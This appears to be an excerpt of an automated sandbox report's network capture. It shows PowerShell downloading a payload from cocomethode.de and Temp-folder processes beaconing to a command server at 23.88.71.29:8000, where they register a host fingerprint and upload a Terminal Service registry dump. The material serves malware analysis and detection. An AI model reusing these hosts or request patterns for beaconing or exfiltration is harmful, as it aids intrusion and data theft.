Dec 11, 2024 12:31:28.808057070 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.808114052 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.808224916 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.809648991 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.809696913 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.809820890 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.809890032 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.809921026 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.809977055 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.810224056 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.810966015 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.811029911 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.811208963 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.811260939 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.811292887 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.811407089 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.812480927 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.812541962 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.812666893 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.812788963 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.812819958 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.813534021 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.813595057 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.813611031 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.813674927 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.813831091 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.815345049 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.815407038 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.815645933 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.815696955 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.815874100 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.816289902 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.816335917 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.816468000 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.816571951 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.816601992 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.816625118 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.816881895 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.818192959 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.818291903 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.818416119 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.818628073 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.818679094 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.819057941 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.819178104 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.819224119 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.819437027 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.819483042 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.819511890 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.819662094 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.820734024 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.820780993 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.820913076 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.821029902 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.821050882 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.821372986 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.822427988 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.822480917 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.822683096 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.822730064 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.822879076 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.822993040 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.823571920 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.823626041 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.823940039 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.823971987 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.824137926 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.824951887 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.825004101 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.825206041 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.825227022 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.825293064 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.825480938 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.826296091 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.826347113 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.826611042 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.826658010 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.826972961 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.827945948 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.828005075 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.828129053 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.828238010 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.828263044 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.828283072 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.828434944 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.828938007 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.828984976 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.829185009 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.829205036 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.829298019 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.829449892 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.830543995 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.830604076 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.830795050 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.830825090 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.830876112 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.831008911 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.831684113 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.831731081 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.832369089 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.832392931 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.832691908 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.833489895 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.833539009 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.833663940 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.833787918 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.833807945 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.834067106 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.834525108 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.834580898 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.834717989 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.834824085 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.834846973 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.835076094 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.836119890 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.836174965 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.836288929 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.836443901 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.836463928 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.836639881 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.837407112 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.837474108 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.837589025 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.837683916 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.837709904 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.838426113 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.838867903 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.838933945 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.839101076 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.839131117 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.839226007 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.839369059 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.840409040 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.840476036 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.840656996 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.840679884 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.840747118 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.840878010 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.842108965 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.842171907 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.842331886 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.842453003 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.842480898 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.842530012 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.842628002 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.842747927 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.842792988 CET	443	49768	172.67.128.139	192.168.11.30

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:29:15.094912052 CET	52942	53	192.168.11.30	1.1.1.1
Dec 11, 2024 12:29:15.315115929 CET	53	52942	1.1.1.1	192.168.11.30
Dec 11, 2024 12:31:28.949536085 CET	60327	53	192.168.11.30	1.1.1.1
Dec 11, 2024 12:31:29.063858032 CET	53	60327	1.1.1.1	192.168.11.30

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 12:29:15.094912052 CET	192.168.11.30	1.1.1.1	0x8d83	Standard query (0)	cocomethode.de	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:31:28.949536085 CET	192.168.11.30	1.1.1.1	0x678a	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 12:29:15.315115929 CET	1.1.1.1	192.168.11.30	0x8d83	No error (0)	cocomethode.de	172.67.128.139	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:29:15.315115929 CET	1.1.1.1	192.168.11.30	0x8d83	No error (0)	cocomethode.de	104.21.1.51	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:31:29.063858032 CET	1.1.1.1	192.168.11.30	0x678a	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:31:29.063858032 CET	1.1.1.1	192.168.11.30	0x678a	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:31:29.063858032 CET	1.1.1.1	192.168.11.30	0x678a	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:31:29.063858032 CET	1.1.1.1	192.168.11.30	0x678a	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cocomethode.de

23.88.71.29:8000

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49761	172.67.128.139	80	3548	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:30:00.047117949 CET	73	OUT	GET /api/check HTTP/1.1 Host: cocomethode.de Connection: Keep-Alive
Dec 11, 2024 12:30:00.512937069 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:30:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store,no-cache Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jGrkfSiqXydWPxCoRl2AiPX3WEy0zz9sg6neR%2BaGcP1ecL9FjHic0%2BNd4z4b%2FOk83ajylRoNPciO4ebOleyBwXQpfk3FgrFgy%2FCnmpDakOFghMbCjdzvvzCN1x1fE%2FSej4viHZaKif2f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2283&min_rtt=1138&rtt_var=95&sent=6484&recv=2835&lost=0&retrans=0&sent_bytes=9268754&recv_bytes=6416&delivery_rate=45494054&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0523dea92744d7-ATL server-timing: cfL4;desc="?proto=TCP&rtt=49&min_rtt=39&rtt_var=16&sent=15&recv=17&lost=0&retrans=0&sent_bytes=20103&recv_bytes=3802&delivery_rate=1364229166&cwnd=122&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=53&min_rtt=40&rtt_var=21&sent=12&recv=14&lost=0&retrans=0&sent_bytes=19947&recv_bytes=3112&delivery_rate=1283980392&cwnd=163&unsent_bytes=0&cid=0000000000000000&ts=0& Data Raw: Data Ascii:
Dec 11, 2024 12:30:00.512965918 CET	424	IN	Data Raw: 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 36 31 26 6d 69 6e 5f 72 74 74 3d 32 35 26 72 74 74 5f 76 61 72 3d 33 33 26 73 65 6e 74 3d 35 26 72 65 63 76 Data Ascii: =0"server-timing: cfL4;desc="?proto=TCP&rtt=61&min_rtt=25&rtt_var=33&sent=5&recv=7&lost=0&retrans=0&sent_bytes=13625&recv_bytes=918&delivery_rate=2619320000&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?p
Dec 11, 2024 12:30:00.512985945 CET	362	IN	Data Raw: 31 36 33 0d 0a 31 37 33 33 39 31 36 36 30 30 7c 53 36 2f 79 70 63 41 31 72 6b 54 47 45 59 45 70 77 57 36 73 32 74 55 37 74 6d 6e 55 30 64 75 61 6a 78 77 4c 38 46 6a 71 59 6d 57 6c 65 4d 45 5a 69 6b 74 64 4f 69 69 57 70 6e 6e 70 50 36 54 36 77 61 Data Ascii: 1631733916600\|S6/ypcA1rkTGEYEpwW6s2tU7tmnU0duajxwL8FjqYmWleMEZiktdOiiWpnnpP6T6waCI8nILdvaC9UhjUCoP5ms2PH8BOT68bdLZdwMtJAoI2K+uzPnnJVWV4uzoXFRf/b1wPHrqOOrD/co8uVVd955U2Z0TpVgDk3s48yGt9WxFrxkNAUeBko3/MWDxqxTV4tth2jRRXnD3lw3GajlIKC0Gx4mAIbEx9CH
Dec 11, 2024 12:30:00.513004065 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49765	23.88.71.29	8000	5348	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:30:51.697331905 CET	164	OUT	GET /client/ws HTTP/1.1 Host: 23.88.71.29:8000 Connection: Upgrade Upgrade: websocket Sec-WebSocket-Key: vSGksIBbOk2mcrAcIKxUnQ== Sec-WebSocket-Version: 13
Dec 11, 2024 12:30:52.466728926 CET	838	IN	HTTP/1.1 101 Switching Protocols Upgrade: Websocket Server: Microsoft-IIS/8.5 Sec-Websocket-Accept: 3ZSB87FB3UI0jliz3ujJSUvPYmk= CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I%2Fs6E%2Bk6YqyX1e3ih5Kb0o4INRM3SMnCGVcNttb%2BzCSiUbonJZN2VnEikZGWt3p2twjNOgSh4JCOH5umVRfTpwH7Da0qsDcAxYxoEi%2B2P0F5Z0B7blyrnXJ2ctAtdFLU2jTONzd5YUk7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f052521da7a1913-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5624&min_rtt=5624&rtt_var=2812&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=307&delivery_rate=0&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Connection: Upgrade Date: Wed, 11 Dec 2024 11:30:51 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49766	23.88.71.29	8000	5348	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:30:56.196176052 CET	234	OUT	POST /api/registry HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: application/json Content-Length: 102 Data Raw: 22 45 43 41 34 45 37 46 36 34 35 43 45 41 42 43 46 31 34 31 44 36 30 32 43 43 33 30 38 39 36 37 32 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "ECA4E7F645CEABCF141D602CC3089672\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
Dec 11, 2024 12:30:56.939903021 CET	807	IN	HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q8PiZDALqLIYUTa2X6e4fS5QB162%2B%2BU%2FFuBCmSI7ikKN%2B0S5gFbTmeYIjQB3VpYOIuAH9uFubl097Pi8CjfRxNLI6Xfsy7FzVGvw6rzDdctMcj%2FTxspXREvXzn3eb2QcXH1yxh4BHtIs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f05253dfd1d3736-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5617&min_rtt=5617&rtt_var=2808&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=380&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 11:30:56 GMT Content-Length: 32 Data Raw: 36 63 63 65 37 31 38 32 64 35 30 65 64 33 64 37 65 36 31 31 34 36 36 63 63 65 61 66 61 35 65 32 Data Ascii: 6cce7182d50ed3d7e611466cceafa5e2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49767	23.88.71.29	8000	5348	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:30:57.156902075 CET	1289	OUT	POST /api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2 HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=---------------------8dd19ad5e2943f2 Content-Length: 5689 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 61 64 35 65 32 39 34 33 66 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 [TRUNCATED] Data Ascii: -----------------------8dd19ad5e2943f2Content-Disposition: form-data; name="file"; filename="regBackup.reg"Content-Type: application/octet-streamWindows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]"DependOnService"=hex(7):52,00,50,00,43,00,53,00,53,00,00,00,00,00"Description"="@%SystemRoot%\\System32\\termsrv.dll,-267""DisplayName"="@%SystemRoot%\\System32\\termsrv.dll,-268""ErrorControl"=dword:00000001"FailureActions"=hex:80,51,01,00,00,00,00,00,00,00,00,00,03,00,00,00,14,00,00,\ 00,01,00,00,00,60,ea, [TRUNCATED]
Dec 11, 2024 12:30:57.936518908 CET	835	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4L8fNN9nGqyo%2BtJXzvH18zQVBQu%2FqPtfBoJEmJ9pGtwHYFeWOW%2B1YkZFZm9kFJjs%2Ff2VzdJyZOX%2FapkL4qhIjyr7oHehyDH%2FUnnwywBYojFmcCUC5ocwP36qOcVubdu995JLOoTNqhJP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f052543fbef65b9-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5646&min_rtt=5646&rtt_var=2823&sent=4&recv=8&lost=0&retrans=0&sent_bytes=0&recv_bytes=6098&delivery_rate=0&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 11:30:56 GMT Content-Length: 41 Data Raw: 46 69 6c 65 20 72 65 67 42 61 63 6b 75 70 2e 72 65 67 20 75 70 6c 6f 61 64 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e Data Ascii: File regBackup.reg uploaded successfully.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49737	172.67.128.139	443	4588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:15 UTC	163	OUT	GET /OKNf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:29:16 UTC	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:16 GMT Content-Type: application/octet-stream Content-Length: 6426 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MNvesdVsfIjgTJinNd%2BivPd3p9376hvX5HVVySz24JDAgWjO5ma%2Ba1%2FLR1LN0IzS%2Fdeahuy1kFyBioqy8QTn2PELyhiylqGepv5LR741R%2Fdd9uwJoTBtE%2B7BzUVwsAm%2F4rl4e9XnQRbi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29012&min_rtt=1124&rtt_var=17838&sent=6521&recv=2703&lost=0&retrans=0&sent_bytes=9302402&recv_bytes=45641&delivery_rate=16375442&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0522c99f40bfc2-ATL server-timing: cfL4;desc="?proto=TCP&rtt=89&min_rtt=89&rtt_var=44&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=471&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=64&min_rtt=55&rtt_var=20&sent=7&recv=9&lost=0&retrans=0&sent_bytes=14235&recv_bytes=1841&delivery_rate=1190600000&cwnd=94&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
